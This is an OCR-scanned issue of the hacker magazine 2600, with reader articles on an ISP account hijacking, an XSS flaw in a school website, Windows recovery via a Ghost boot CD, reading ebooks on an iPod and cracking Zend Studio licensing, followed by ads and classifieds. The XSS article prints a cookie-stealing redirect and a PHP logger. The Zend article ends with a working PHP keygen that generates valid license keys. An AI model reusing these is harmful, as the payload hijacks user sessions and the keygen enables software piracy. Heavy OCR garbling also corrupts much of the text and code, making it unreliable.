provides per-message encryption on most IM
systems. Increasing the encryption of your
communications increases your privacy and
increases the difficulty of spotting important
communications among the chaf%

Increasing your security is a holistic
choice, madifying both software and human
behavior. An unknown percentage of expo-
sures might be avoided with litle more
than a careful eye towards security, and an
increased level of paranoia. Like backups,
the proper time for making decisions about
security is before a compromise. A balance
between sccurity, usability, and paranoia is
possible with foresight and planning.




by Witchlight

I thought I'd share with you all a little
story about a script kiddie, a real nice victim
of said kiddie, and an ISP.

I work tech support for a large ISP in a
state that will remain nameless. (You should
be able to figure it out.) One night | got a
call from a rather nice customer requesting a
password reset. His name was Mr. O'Rei%ly.
As | pulled up his account 1o do this for him
he told me how he had heen "hacked." Now
you have to know thal we took this with a
grain of salt at tech support. In the four years
I've been doing tech support | can honestly
say that I've only talked to maybe three
people who have actually been abused by a
"hacker.”

Once | got his account up, however, |
immediately believed him, See, Mr. O'Reilly's
account came up now as registered to one
"Asshag O'Reilly."

Some script kiddie had gotten access to
his account and reset all the personal infor-
mation for the account as well as other things.
So now whenever the customer sent an email
it would say it was from Asshag O'Reilly. |
went over with him on how to change it back
and advised him to change the secret ques-
tion for his account as weﬁ since it was likely
the kiddie had changed this too and would
be able to reset the password and we'd be
right back where we started in a day.

Now here’s where we ran into a dead
end. We knew that he had been victimized.
What could | do as a representative of a
major ISP? Not a thing. Nothing. There was
no sccurily team that | could escalate the
customer to. There was no phone number for
any such department listed in the numbers
of approved contacts that | could call or
refer the customer to. The only thing | could
do was gel the customer to email abuse@
hotmail.com and hope for the best.

How could this be? Well, as we are
outsourced support we are given very fow
tools and absolutely no access to depart-
ments that could do anything about this. We
follow the call center mantra of the almighty
talk time and all issues have to be resolved
in an average of 15 minutes or there's the

door. It makes for a support culture of saying
anything - even if it's total crap - just to get rid
of the customer so you can gel your metrics
met 1o get your bonus for being the best
punter around.

Agents are not hired for their tech ability.
They rely on the customer being even more
ignorant in order to make them a "tech.
About two of every ten people in the center
are lechnically inclined and we pick up the
Eunts and fix what the first person should

ave been able to do. Rant over.

Having done what the client wanted and
recommending a few things to Assbag to try
and help him, I ended the call. Two days later
he called back again with the password issue.
The kiddie had used the flavor of the month
MSN exploit again, re-cracked his account,
and made himself a sub account. A friend of
mine had the call this time and talked to me
aboul it since he saw my name from the last
ticket,

No response 1o Mr O'Reilly from the
abuse department and nothing done. What
was different this time was the kiddie had
gotten some balls and was using Assbag's
MSN account to instant message him. We
were watching this happen via our remote
assistance tool. Now we had something to
track the kiddie! One of our tools for those
who know where to look would show us the
IP of the last successful login and we found it
was not from our ISP. One lookup later and
we traced it to an SBC user.

Choosing to ignore the 15 minute rule
because Mr. O'Reilly was a nice guy (this
roes a long way) we decided to call SBC on

is behalf and track the kiddie al the source of
his connection. We gol a representative from
SBC and explained that one of their users
was "hacking" our customcr as we spoke and
that we had proof. Here we [earned that SBC
operates exactly like our ISP and didn't have
any way of doing anything about it. So we
gol a supervisor instead. You would think
a supervisor could do something.... Nope.
Their job is nat tech. They are there 1o make
sure there are bulls in chairs taking calls
and making money for whatever outsourced
company is hired by the ISP. They said that
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/Iiae'rr"s nothing they can do and don't even
have an email address for the abuse/security
team. We pressed the point and they actually
told us that what their user was doing was
perfectly acceprable use of their service!

I'd love to know what the SBC legal team
would have said about that one. But it makes
my point and shows you the reality of what
the average victim oﬁ/sc.ripl kiddie mayhem
has to po through. We did all we could but
until this kiddie grows up and leaves him

alone, Asshag is stuck (unless he fakes legal

by Azohko

My school recently redid its website with
a new and shiny user interface created by a
company called Whipple | Il {www. wnippie
hill.com). This new website enables you
to check your schedule online and create
groups which could also create their own
forums. After minutes of poking around, |
found these group forums were vulnerable
to an XSS exploit. By redirecting the user to
my website with a cookie stealer on it, you
would be able to replace your cookies with
theirs and become logged in as them. This
code would redirect the user to my website
by loading an image.

<img "linkToAnlm

= ;document . Llocat ion
woom/ logger . php?” + docum

The above code then passes the cookice
information on to this script, which logs the
data into 7.

<?php
funcrion legbDatal}

O0g9="1og.ExE";

felose ($log)
}

logData () ;
2>

While simple at first (they didn't filter any
HTML at all), when | called them they didn't

action). We did more than we were .‘-'»U[]])U?\'-(‘d\
to and got nowhere because outsourced
support and the 1SPs who use them just don't
give a crap.

I wouldn't say it's open season or that you
won't get your service pulled for hacking
or worse. But the system is actually stacked
slightly against the average user and in favor
of the script kiddie.

The tally: Kiddie 1, Asshag 0, ISP... rich.

Shouts to Gilda, Harrybalz, ZX, and
Jedi262.

scem to think it was a priority to fix it. This
was a major vulncrahi[iry among many of
their websites and they never seemed to be
in a hurry to fix it. Finally | got a message
back responding to the exploit saying it was
fixed. Wrong. Their amazing fix was to filter
oul the word “” so the user couldn't steal
cookies. It took about two seconds to come
up with new code to exploit this:

W .

The differcnce here is that when ™ is
filtered out it still forms “”. This problem
could easily have been fixed by using another
method of checking for XSS in PHP. Instead
of searching for nnt‘? removing “ they should
have found every instance of " and replaced
that with * seript” with a space. No harm
could be done here, and this way people
couldn't have harmless but annoying scripts
running on the forums. This could be done
easily with the following PHIP:

ipt®

Stext str_replace(§aearchFeor , $replace
wigith , Stext);
25

This new website my school bought cost
them a lot and it amazes me that it would
be vulnerable to something so simple. Not
only was the original exploit simple, but they
failed to fix it successfully. This is sad consid-
ering they are supposed 1o be professionals.
Check your own school’s websites for simple
exploits. You might get lucky like me.
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by Passdown

Microsoft sure does make life easy for the
end user, but for those of us who are called
to fix a down M$ system, life can he trying
at times. Let's face it, if you were one n?/th('
richest companics in the world, you wouldn't
wanl to share your proprietary gimmicks
either. S0, this leaves the technician holding
a woefully empty bag of tools. Ever have a
laptop running an NTFS insfalled version
of XP Home? No, | know you wouldn't, but
Kour client prabably does. And of course...
e's messed it up. There are a myriad of
possible problems, but let's assume that all
you need to do is have a nice GUI interface
to copy off or change some files. At the time |
started writing this Knoppix NTFS write capa-
bility was 5li|Fpre-A|pha. Now it's out, but do
rou trust it? Me neither. | hate working on
aptops and | certainly don't want to pull the
hard drive out lo put it in another machine.
All | need to do is move the SAM files, or
edit an INI, or whatever. Let's say that I'm
even locked out of the administrator account
when booting from the XP Home CD. (Let's
assume thal someone actually set a pass-
word.) | know there are still ways around that

but, hey, we like GUL
Enter Norton Ghost 9. | was able to pick
up a legit OEM copy from an online vendor
for about $17. Good deal. Ghost images are
quite nice for Eicking up the picces after
doomsday. | highly recommend it. The inter-
esting thing is there are other features that they
probably hope you don't notice. The easiest
way to work with 2 Windows system... is to
use a Windows system. The Ghost recovery
CD boots into a stripped down live CD
rigaed version of XP Pro. It secems Symantec
built their own shell. 1 am uncertain it it is
hased on Explorer but, if it is, some functions
are still avaiiable. My favorite way to garner
system access is the often overlooked ueLe
menu. There's not much in the Ghost shell
menu, but it vou click sEL®, you will find
standlard menu options, such as open. From
here use the =7 option in the filename field

and hit enter to gain a complete list of files,
drives, etc. For an even bigger laugh, just
hit 1 at the main screen. The opgn interface
seems 1o be a standard Explorer interface,
however because of system limitations, all file
interactions must take place in this window.
For easier use, browse over to the CND-ROM
and up to the i386/system32 folder. Here you
should find TASKMGR.EXE. Task Manager
will give you a little nicer access than ueLe
{default execute instead of open). In order to
run it, you will have to open from the right-
click menu, otherwise seLe will think you are
trying to =& ect a library.

Needtorename, copy, cut, paste a file? It's
all there. Just be aware that you will not see
your changes until you refresh your screen
(get used to hitting F5 all the time).

Don't waste your time with moving
specific files, move whole folders. The open
menu only allows you to work with a single
file or folder at one time. So, trying to copy
15 files becomes a little tedious and error
prone. I've successfully been able to use
USB storage devices, which certainly makes
it convenien! for backing up hard to reach
data or importing a replacement file.

This process has been especially useful in
removing unwanted DLLs that embed them-
selves at the bool (spyware).

The fun really Eegins when you try to
execute different programs or system executa-
bles sitting on the hard drive. cuo. sxe worked
for me. The build of Ghost 9 that | have sits
on XP Pro SP1. | am uncertain if this is why
i have not been able to run Explorer from a
hard drive or not, since I've probably made
all my attempts on SP2 installations. There are
a lot of things that occur in the background of
an MS boot sequence, so success may enlail
a lot of scripting and editing (beware of crip-

ling an otherwise working test systeml. |
I':.wr' dabbled extensively but been unable to
bring up a more robust level of operation. |
hope that someone else can add 1o what I've
discovered and maybe 1'll have more good
news for you when | eventually get around to
buying Ghost 10.
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Readiling

on an

iPo

by DBTC

The iPod does not have an ebook-specific
reader or just a text format good for reading
ebooks. It's unfortunate because the style
and capabilities of iPods make them perfect
for such functions. Sure, you can use the iPod
as a portable hard drive to read ebooks usinF
any PC. But if you want to use the iPod itself
as an ebook reader, it's certainly possible.
Reading ebooks on an iPod consists of just
copying the contents of an ebook into iPod
Notes and scrolling through multiple notes
in order to read the ebook. But there are
limitations.

Each Note can hold no more than 4012
characters. If an iPod Note contains more, it
will still load, but only the first 4012 char-
acters will be displayed. You may see other
references mentioning a 4096 character
limit. Looking at the results from an actual
cut-and-paste experiment, the limit is really
4012,

The iPod can hold no more than 1000
Notes. If you load more, only the first 1000
will be displayed.

Assuming each Note is packed 1o
capacity, that's 4,012,000 characters. So any
given iPod can hold roughly 2,467 pages of
printed text, or enough for eight medium
sized books.

To summarize these issues with reading
ebooks on an iPod:

Problem 1: To read ebooks on an iPod
screen, the best place is to copy plain text
information into iPod Notes, Fach Note
on the iPod can hold no more than 4012
characters.

Solution 1: Each ebook much be broken
up into a multi-Note format. iPod Notes use a
very simple HTML-derived markup language.
For shorl stories, it's easy to create the Note-
to-Note links yourself. For |ung(*r stories, save
yoursell the pain by automating this process.

Problem 2: iPods can only hold a few
books before running out of available Notes
spaces.

Solution 2: Keep your ebook collection
on your PC and juslt copy books to and from
the iPod as needed. This is a good solution
anyway as iPod Notes aren't backed up
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anywhere (even from the new backup feature
in iTunes 7).

With all that said, here's how to place and
read an ebook on your iPod:

1) Get an ebook. Make sure it's in “plain
text" format. Don't spend money unless
ou have to. There are plenty of free ebook
ibraries all over the Internet. I've compiled
a list to get you started: neep://www.andy
whrain.com/archive/j ourney to_the
wcenter_of an_ebook.htm

2) Enable Notes access on vour iPad by
checking Enable disk use in iTunes. This
feature (turned off by default), allows you to
use your PC to browse to your iPod, allowing
you to copy files directly to the device. For
more instructions and detail, see this link:
http://doca.info,.apple.com/article.
mhtml?artnum=61131

3) Convert your ebook to a format
supported by iPod Notes. Use this iPod
ebook creator service to upload your
plain text ebook and convert it into an
iPod readable format: hetp://www.ambi
wence. sk/ipod-ebook-creator/ipod-book
wnotes-text-conversion.php. Take the files
contained within the resulting ZIP file and
place them into a new folder within your
iPod's Notes folder. (To do this, make sure
you've completed step number two above.
Then browse Lo your iPod using your PC. You
should see a Notes folder. Placing all the Zip
files within a newly created subfolder isn't
required, but makes navigation much easier
and faster.

4) Read it

After disconnecting vour iPod from your
PC, open Extras -> Notes on your iPod.
You should see the folder you created in the
previous step. Click to view the folder and
you should see the documents you moved
there, all numbered like mydocumentoni,
mydocument 002, etc. Start with the first docu-
ment. You'll see backward and forward
arrows at the top and bottom of the Notes.
Seloclinﬁ with the center button allows you
to page back and forth between Notes.

The actual iPod ebook reading process
consists of scrolling slowly through the Note
as you read it, then clicking on the next note
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[p;qn arrow at the end of the document. Be
aware thal hitting the wenu button acts like
a "previous page" function. S0 if you read,
for example, ten Noles worth of linked text,
you'll have to hit the menu button ten times
in order to get back to the extras -> Nores
section. Depending on how much you've
read, it may Lt‘ casier and faster just to reboot
your iPod when you're done. (There is a way
to programmatically clear this stored Notes
history, but the converter mentioned above
doesn't use it.)

The iPod ebook creator mentioned above
will do the trick. If you want a more exten-
sive management system, or want something
installed locally, Kerc are some  oplions.
Each program will allow you 1o keep track
on many ebooks on your PC, giving you the
option to "activate" just the ones you want for
iPod reading.

Mac OS: Book2Pod: heip: //www.comsci .
= com/book2pod

Windows OS: iPodLibrary: btrtp://wes.
wasturm.naet.nz/website.php?Sections=ilod+
= Frograms&kPage=iPodLibrary

Using this process, we can read text and
ebooks on any iPod with a display screen.
The process, unfortunately, requires a bit
more hassle than it should. Until Apple
decides to remedy this with proper ebook

Java
Revers

support and features like font adjustment nnd\
auto-scrolling, we can make do.
More Information

Learn more about the iPod Notes markup
language. Also see user comments at the
bottom of the second page for code on
compiling your own iPod ebook extractor:
http://www.creillynet.com/pubja/
wmac/2006/12/12/ipod-notes-above-and-
wpeyond. heml

Learn about "Building Interactive iPod
Experiences.” While the article briefly
mentions ebooks, it talks in more detail about
the iPod's markup language to run interactive
presentations incorporating pictures, sounds
and \l"id(‘(}ﬁl http://www.macdevcenter.com/
wpub/a/mac/2006/11/28/building-interac
wtive-ipod-experiences.html

Mac users may be interested in Text2iPod
X, a Mac-only application that copies
entire ebooks into iPod contacts, appar-
ently without size limitations. While this is

reat, | didn't include it in the main article

cause 1) | wasn't able to test it, and 2) I'd
like my "chbooks on iPod" solution to work
on all systems. Here's the link: htep://
wmhomepage.mac.com/applelover/
text2ipodx/text2ipodx, html

For more from DBTC, visit http: //www.
= andybrain.com.

by quel

Companies have an amusing habit of
obfuscating Java code and then distributing
the application and think that it is secure,
Unilortunately for them Java classes aka byte
code are trivial to decompile. The obfuscation
serves as fittle more than speed bumps which
means more fun for us and o little extra time,
Of course what reverse engincering project is
worth it if it is trivial?

Now many of you arc lamiliar with PHP,
The company behind Pl P, Zend, produces a
tool called Zend Studio. The tool lets you step
through code and basically is one of the few
ways to actually get the feature set you would
expect out of a programming language such

as debuggers. The basic premise behind the
first version | reversed was that | had installed
a 30 day trial but had been too busy at the
office 10 actually get 10 really try it. Well,
time to hack it so | could finish testing it.

We will go ahcad and start with version
3 of the studio as this was the first version |
reversed. Now it would be trivial to patch the
Java, compile the class file, and repackage
the jar. Cracks are ugly hacks. We are going
o reverse it to our satisfaction so we can
write a full keygen. (Not a half-assed keygen
but one that will actually generate any and
all possible valid keys.)

First, find the ZendIDE jar and cither use
jar x Or even unzip -x will do it. You will
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/also want o get a copy of JAD, a Java decompiler. Now you can use grep, slrings, elc. to lmck\
down what you are looking for or of course start by tracing all the way through the code. After
some time grepping and checking out the decompiled code from JAD | found that com/zend/
ide/util/f/a.class was going to be the primary target. (Grepping for the strlng you find on the
screen to enter your username and license key is a good pr ce o start.)

Check out a.jad and you'll see things like USER_NAME and LICENSE_KEY. You'll notice
everything is named a, b, ¢, etc. This is part of their obfuscation and sometimes part of the
decompiling process. In any case, use the return types and the overloaded types in funciion
arguments to help you find your way.

Check out public void “a” (string s, String s1)

Look at that “a” comment //user ke (could it be this easy?)

Lets trace this code:

b = b{s, sl);

Hrm. Something special about starting with "lk" - let’s note that for later.

OK, s1 has to be greater than or equal to a length of 18 (license key), s2 is the substring
from 16 to 18 of s, and s3 is the first 18 characters of s1. Now s1 is the first 16 characters. s2
must be 0. 54 is a substring of s1 from 8-16. s5 = "Zend" + s +s4 + 52 + s3. Bingo.

At this point you can trial and error or just keep tracing the code until you have all the
limitations and checks duplicated.

Here's a php script lo create the keys. (Editing the same file took me about ten minutes to
update the keygen for Zend IDE 4. | haven't looked at 5 but | don't expect their method to
have gotten much harder.)

if (isset ($_GET) && count ($_GET) > 0)

if (!isset ($_GET(["user"]) || !S$_GET["user"])
$name = "Q0wn3d“;
else

{

Sname = $ GET["user"];

//first 2 must not be 1k
if {strcasecmp(substr($name,0,2),"1k") == 0)
{
Sname = substr($name,2);
echo "The first 2 chars must not be 1lk<Br>";
}
}

if (strlen($name) <= 0)
$name = "QOwn3d";

if (tisset ($ GET[("howmany™]})
$_GET|["howmany"] = 0;

Showmany = intval($ GET["howmany"]);

if ($howmany <= 0)
S$howmany = 2600;

if (Showmany > 2147483647)
{
Showmany = 2600;
ecno "Limit of licenses ig: 2147483647<br>";

if (lieset ($ GET(“seed"]))
Sseed = "36";
else

if (intval ($_GET["seed"]) >= 35 && intval{$ GRT["seed"]) <= 99)
$seed - S_GET|["seed"):

else
$aced = "36";

)

$str = "Zend";
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/ $hardcode - "0304"; \

Sstr .= Sname;

Spad N
for ($i = ( 5 - strleo($name)); $1 > Q; $i--)
Spad .= "Qv;

$pad .= "00";

Sstr .- $hardcode . $seed . $pad . "000" . Showmany;

printf ("LICENSE KEY: %08X%¥sts¥%s000%s<br>USER NAME: $s°, crci2($str),Shardcode,$
wseed, $pad, $howmany, Sname) ;

cho "<br=<brs>Now find ZendIDE.config and replace the LICENSE
IAME<br=><brs®;

KEY and USER_

wwha "<form method-'get '
Enter the username: <br>
<input type

Number of

ne='uger' maxlength='50'><pr>

' pame- 'howmany ' s<br=
=T between 35 and 9
tex ‘ name-'sgesd' maxlength
<input type-'submit' name-'Submit'=
</ forms";

<br>

‘2 >abrs

Shouts to amatus who worked with me on the initial revorse engineering project.

DOES THE RELEASE OF A NEW
ISSUE ALWAYS SEEM TO CATCH
YOU BY SURPRISE?

Y . B
2500 B |

RS

-
il

LERR I & L

Why not avoid the chaos and subscribe?

Still only $20 a year in the States and Canada, $3@ elsewhere.
Send check or money order in US funds to

2600, PO Box 752, Middle Island, NY 11953 USA

or visit our store at store.2000.com!
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Announcing a brand new way to communicate your thoughts
and ideas about the HOPE conferences, 2600, and hacker
issues!

Simply go to http://talk.hope.net and join the fun! We already
have many lively discussions in progress and you can start
your own if you feel the need. The forum focuses mainly on
the past and future Hackers On Planet Earth conferences and
the current battle to help save the Hotel Pennsylvania, site of
HOPE.

Registration is simple, quick, and free! See what happens
when we all put our heads together.

OFF THE HQt

Technology fr(p 1 &
Hacker Perspective,

BROADCAST FOR ALL THE WORLD‘TolHI EAR

Wednesdays, 1900-2000 ET
WBAI 99.5 FM, New York City
WBCQ 7415 Khz - shortwave to North America
and at http://www.2600.com/offthehook over the net

Call us during the show at +1 212 209 2900.
Email oth@2600.com with your comments.

And yes, we are interested in simulcasting on other stations or
via satellite. Contact us if you can help spread "Off The Hook"
to more listeners!
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Marketplace

CHAQS COMMUNICATION CAMP 2007 Tl is event will start August
Bih and last untl August 1210, 20 i i 1
men. We are going for fiva
af a brand new location at the Airpor Museum in Finowlun, directly at
Finow airpon. Sa it you Ike. you can directly Iy to the Camp. You can
gel 1o the location easily with a car in less than 30 minutes starting i
Berlin and woe make sura there is a e connection fo the next
train slaton. The coordinates of the location are 52,8317, 13.6770
Mare detals af coode

CALIFORNIA EXTREME 2007. August 11-12, 2007, San Jose,
Catifomia. The *Classic Arcade Games Show.” An expo of hundreds
af coin operated video games and pinball mack once found in
cades Featuring lournaments, speakers, parls vendors. and an
priunity o piay games you may nol have seen foc years. All the
games on Gplay will be el for free play. weww.casxiren
HITBSECCONF - MALAYSIA is fhie pramis nulmnk
for the ruqmn and the largest gathering of hack A
2007 avent 1ed 10 altract over 700 altendees i nrn wrouned
the waorld and wil 4 keynote speakers in addition 10 40 deep
knowledge techiical researchers. The conference takes place
Sapl rd through September 6th in Kualka Lumpur. Mare d
at hitp.lconference hilb.orghitbsecoonf2007ki'

DAYTON'S AIRST HACKER CONI Flaasa (on us on Satucday,
Oectober 13ih 2007 lor the maugural Day-Con Hackar Con in Dayton,
(o]} l s o impress. It breaks down like

WWW. iy -Co ||||r.3

SecTor - Securty Education Con
2007, Bringng to Canada the a.r\rld h ||_|‘
togathar Lo kd 5
1’|r\ als tacing corpor

n up for email updal
th are limided!

VENDING MACHINE JACKPOTTERS. Go o
L L ges.com lor EMP De
1l iHacking Manuals a07
MAKE YOUR SOFTWAHE OR WEBSITE USER FRIENDLY wilh
F

wtoon blue fox! Not everyane

[y v..aﬂll‘ YO
expord hacker Ao i \laW .Iu'

saft Agent ot

1. Nel languag
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o
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NETWORKING AND SECURITY PRODUCTS availablo at
Cv EY auppl-u o| Nuﬂnrk Sml my and

hardware,
cess devic 3P products, parental
switches. We pride oursalve i ol
cal expartise and customer satistaction. Our commilment ta you... No
surpnses! Buy with ¢ dence! Comnl.y and Privacy 15 our business!

Visit us al hiig

oy, brﬁj t

chaerful shils. Start at hitp ., .
Ale -n.h:ﬂ chal is always

card ln’;l.un.‘d for age vl
frem. Adulls only
PHONE HOME. Tiny. sub-m
\Il'qi smmable touch-tone,
1o 15 touch-torn .
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ard :h'r.uqh he
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3 I'I:ll wizards. Give one
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telephone number, he'she will always be able to call you! Alsa,

ideal ff yous don't want 1o "disclosa” your telephane number but warnt
o abie to call you locally or lang distanca by telephone
i able. Money crder only. §24.95

+ $3.00 S/H. Mail order to: PHONE HOME, Nimrod Division, 331 N.
Read. Box 110802, CRC. Missoun 63141
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I(b;llm thal many privacy adwales woukd not only welcome such
an opt-divert number. but alsn would be withnig 1o pay for such a ser-
vice in order 1o keap Nes onginaling number privale, Flease amail:
opt divartifyahoo.cam,

HELP! | wan! fo set up a waice bridge chat line for hackers bul need
the software. Call me at (713) 595-8360 (Ban) or

www. UndargroundClassitieds.com,

HACKER TOOLS TREASURE BOX!I You gat over 630 links to key
resources, plus our proven methods for rooting out the hard-to-tind
tools, instantly! Use these links and methods 1o build your own
cuslmzad hacker |AHEM natwork sacurlm oo kit

iy

ADVANCED TECHNICAL SOl.UﬂDNS #422 - 1755 Robson Streetl.
Vancouver, B.C. Canada V&G 3B7 Ph: (604) 528-0455. Electronic
countarmaasures - find out who 15 secretly videotaping you or bug-
ging your car or office. 'State of the Ant" detaction equipment wtilized,
FREERETIREDSTUFF.COM - Donate ar request free outdated tech
products - in exchange for some good kama - by keeping usable un-
wanted tech iterns out of your neighborhood landfill. The FREE and
easy lexl and photo classitied ad websile is designed o find local
people in your area willing 10 pick up your unwanted tech products or
anything else you have to danate. Thank you for helping us spread
the word abaut your naw global recycling rasource by disiributing this
ad 1o free classified adverising sites and newsgroups globally,
www.FreeRetiredShutl.com FREE ADS are available tor those trying
to BUY or SELL tech products. Visit www NoPayClassitieds,.com,
SUSPECTED OR ACCUSED OF A CYBERCRIME IN ANY
CALIFORNIA OR FEDERAL COURT? Consult with & semantic
warmior committed 1o the lberation of information, | am an aggres-
sive criminal defense lawyer specializing in the following types of
cases: unmthnnzad access, fhell of frade secrets, identity theft.

and trad t. Contact Omar Figueroa,
Esg. at {415) 9%5591 . al omar@stantordalumni. org, or al 506
Broadway, San Francisco, CA 94133-4507. Graduate of Yale College
and Stanford Law School. Complimentary case cansultation for 2600
readers. All consultations are strictly confidential and protected by
the altomey-chent prvilege,

INTELLIGENT HACKERS UNIX SHELL. Ravarse.Nat is owned

and oparated by inteliigent hackers. Wa balieve evary user has the
right 1o onling security and privacy. In today's hostle anti-hacker
atmosphere, intelligent hackers require the need for a secure place
o work, compile, and axplora whhou! big-brother looking over theair
shoulder. Hosted at Chicago Erauinix with Juniper Filtered DoS Pro-
tection. Multiple FreeBSD servars at P4 2.4 ghz. Aflordabls pricing
fram SS/month with a monay back guarantee, Lifetimea 26% discount
for 2600 readars, Coupon code: Save2600. hitpfwww.reverse,nat
ANTI-CENSORSHIP LINUX HOSTING. Kaleton Intemet provides
affordatde web hosting, email accounts, and domain registrations
based on dual processor P4 2.4 GHz Linux servers. Our hosting
plans stan from only $8.95 per month. This includes suppon for
Python. Ped, PHE, MySOL, and more. You can now choose betwaen
the USA, Singapore, and other ofishore locations 1o avoid censorship
and guarantes free speech. We respect your privacy, Payment can
be by E-Gaid, PayPal. credit card, bank fransfer, or Western Unson,
See www.kalgton.com for datails,

ARE YOU TIRED of receaving piles of cradit card offers and other
postal spam? You can't just throw them in the trash or recycle them
as someone could gat a hold of them and use them o steal your
identity, You can't just ket them pile up on your kitchen tabée. So
instead you have to be bothered with shredding and disposing of
them, Well. not anymore. OperabonMailBack com has a free solution
lor you, All eosts of disposal including delivery will be paid by the
company responsitla for sending the siulf to you. Stop wasting your
valuable tima dealing with messes other pecple are responsibde

cannat help you. we will even try 1a find someone &lse who can al no
charge. So you have nothing 1o tose and perhaps everyihing to gan

by contacting us lirst. Visit us al: hitpJfwww.compulorey.com o call
516-9WE-HELP (518-993-4357).

OFF THE HOOK is the weekly one hour hacker radio show present-
&d Wednesday nights at 7:00 pm ET on WEAI 99.5 FM in New York
City. You can also une in over the net al www. 2600 com/otithehook
or on shortwave in North and South America at 7415 khe. Archives
ol all shows dating back o 1988 can be found at the 2600 site, now
in mp3 format! Shows from 1988-2005 are now available in DVD-R
farmat for $30! Or subscribe to the new high quality audio senice
for only $50. Each month you'll get a newly released year of Off The
Hoaok in broadcast quality (far better than previous online releases).
Send check or money order ta 2600, PO Box 752, Middie Island. NY
11853 USA or order through our online store at hitp:store. 2600.com.
Your feadback on the program is always welcome at olh@2600.com.
INFOSEC NEWS is a privately run. medium traffic list that caters to
the distribuman of informalion security news articles. These aricles
come from such SOUTCESs a5 newspapers, magazines, and online
resources. For more information, chack out:
hipaiwww.infosecnews.org,

CHRISTIAN HACKERS' ASSOCIATION: Check out the web page
nitpufwww christianhacker.org for details. We axis! to promate a
community tor Christian hackers to discuss and impact the realm
whare laith and lechnology intersect for he purpose of seeing lives
changed by God's grace through faith in Jesus.

PHONE PHUN. hitp:/iphonephun.us. Blog devoted to intaresting
phone numbers. Share your finds!

Personals

WHEN THE BULLET HITS THE BONE. Borad and lonaly phona
nerd. Got soma time left in our nation’s wondertul corrections system.
Looking for pen pals to help pass the fime. Interests include (not
limited 10} telecom, computers, palitics. music (punk rock, industrial,
alc ), tats, urban exploration. 23, white male. 617, 150 Ibs. black hair.
areen eyes, a few lats. Will respond (o afl. Michael Kerr 09496-029,
FCI Big Sprng, 1900 Simlar Ave.. Big Spring, TX 79720

LOOKING FOR PEOPLE to teach me programming related skills. |
have nol baan able to leam very much on my own so il any of you
would like fo pass on your knowledge to a future hacker pleass
contact ma. | five in hick-wille, 5o | do not currently have tha Intemat
but will get reconnécted in approximataly 2-3 months. Please write to
me: Cerberus at 24 Ray St, Keene, TX 76059. Any knowledge at all
will be graatly appreciated,

PRISONER SEEKS FRIENDS to help with ook ieview lookups

on Amazon by keywords, Com Sci major, thirsty to eatch up to the
real world before my reeniry. | have my own funds o buy books, |
anty need reviews. I'm MUDMMORPG savy in C++. Java, Python,
PHP. MySQL, DirectX. Ken Roberts JBOSE2, 450-1-2M, PO Box 8.
Avenal, CA 93204,

SEEKING NON-STAGNANT MINDS for mutual dluminationex-
change of thoughts and ideas. Three years lall on my santance

and even with all my coaching the walls still can't carry a decent
conversation, Interasts include cryptography. security, conspiracy
thaaries, martial arts. ard anything computer related. All letlers
replied 1o, Max Rider, SBI#00383681 D.C.C., 1181 Paddock Rd.,
Smyma, DE 19977,

IN SEARCH OF FRIENDS/CONTACTS: Rallroaded by hying
evidence-burying FBI agents and U.S. Pastal Inspectars for crime

| didn't commit. In court | had a snowball's chance in hell. Unless |

for craating. Check out our newly website for
information and take back your mailbax,
BEEN ARRESTED FOR A COMPUTER OR TECHNOLOGY
RELATED CRIME? Have an ided. invention, or business you want to
buy, se!l, protect, or market? Wish your anorney actually undarstood
you whan you speak? The Law Offica of Michaal B. Graen. Esq.
is the solution to your 21st century legal problams. Farmer SysOp
and mamber of many private BBS's sinca 1981 now avallable 1o
directly represent you or bndge tha wmmlncallom 9ap and assist
your current legal counsel. £
criminal and ol liability lorcompulel and tachnology relaled achons
{18 U.S.C. 1028, 1025, 1030, 1031, 1941, 1342, 1343, 2511, 2512,
ECPA. DMCA, 1995 Telecom Act. aic.), domain name dispates, injel-
lectual property matters such as copynghis, rademarks, lcensas,
and acguisitions as well as general business and corporate law. Over
aleven years expanience as in-house legal counsel 1o a compuler
Dmsul!ing business as wall as an over 20 year background m

ications, and technology mattars, Published
Iaw review arficles, contributed to nationally published books, and
submitted briafs to the United States Suprema Court on Intemet and
technology ralated issies. Admitted to the U.S, Supreme Court, 2nd
Circuit Court of Appeals, and all New York State courts and familiar
with ther | s well. Many ys will take your case
wilhoul any consideration of our culture and will see you meraly as
a source of fees or worse, with ill-conceived prajudices. My office
uriderstands our culture, is sympathetic to your situation, and will
real you with the respect and undarstanding you deserve. No fee
Qx the inial and confikdential conauitation and,  for any reason we

11he go it by exhuming the exculpatory treasure rove
of my innocence, I'm hopelessly dungecned for the duration. There's
anly a lithe gleam of time betwaen two atemities, | refuse 1o retum to
larevar without & fight. Will answer all. W, Wentworth Foster #21181.
Southaast Correction Center, 300 East Pedro Simmons Drive,
Charleston, MO 63834
PLEASE WRITE ME. WM blue eysas brown hair, 637, 195 Ibs.. 28
years old (send a pic, | wili do the same). |'m incarceraled fur drug
manulacturing. Been down 1 year. got 1 or 3 more 10 go. I'm looking
tor anyone to talk to about real workd hacking. 1Ds, or any 2600 re-
lated stutf. | bove to write and have nothing bul tme. Meclynn Stuver
GN-1141, PO, Box 1000. Houtzdale. PA 16608-1000.

ONLY SUBSCRIBERS CAN ADVERTISE IN 2600/ Don't even think
aboul frying 10 1ake aut an ad unless you subscribe! All ads are iroe
and there is na amaunt ol monay we will accept for a non-subscriber
ad. We hope that's clear. Of course, we rasarve the nght 10 pass
judgment on your ad and not print it il it's amazingly stupid or has
nothing al alt to do with e hacker world. We make no guarantee
as 1o the honesty, nghleausness, sanity, etc. of the people advertis-
i hera. Contact them at your peril. All submissions are lor ONE
ISSUE OMLY" If you want 1o run your ad more than ance you must
rasubmit it euch time. Daon't cipect us to run mara than one ad for
wnid in s sangle is5Ue eifher. Include your addrass label/envelope or

4 photocopy S0 we knew you're a subscriber. Sand your ad to 2600
Markoiplace, PO Box 99, Middle Island. NY 11953, Deadline for

/
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PUZZILE

Email puzzle©2600.com.
Those without nef access,
mail 2600 Puzzle, PO Box 99,
tiddle Island, NY 11953 USA.

we' re very upset fhat nobody ent in the correct answer for the last

zzle in the spring issve. $o eEs make it interesting. The first person
E;:get whaf, we consider fo be the correc answer fo thal puz z fe or

is one will receive the:r choice of a full back issve set or a lifetime
subscrrpbo 2600 (the m azine é;ou 're currently readmg)

{ nobo y it, then we w award ourselves the prize.

Please don rce our hand. We mean business.
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“Once a new technology rolls over you, if you're not part of the
steamroller, you're part of the road.” - Stewart Brand
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CZECH REPUBLIC
Prague’ Legenda pub. 6 pm.

Asiborg Fast Edde's hall
mnu-mmnnsa
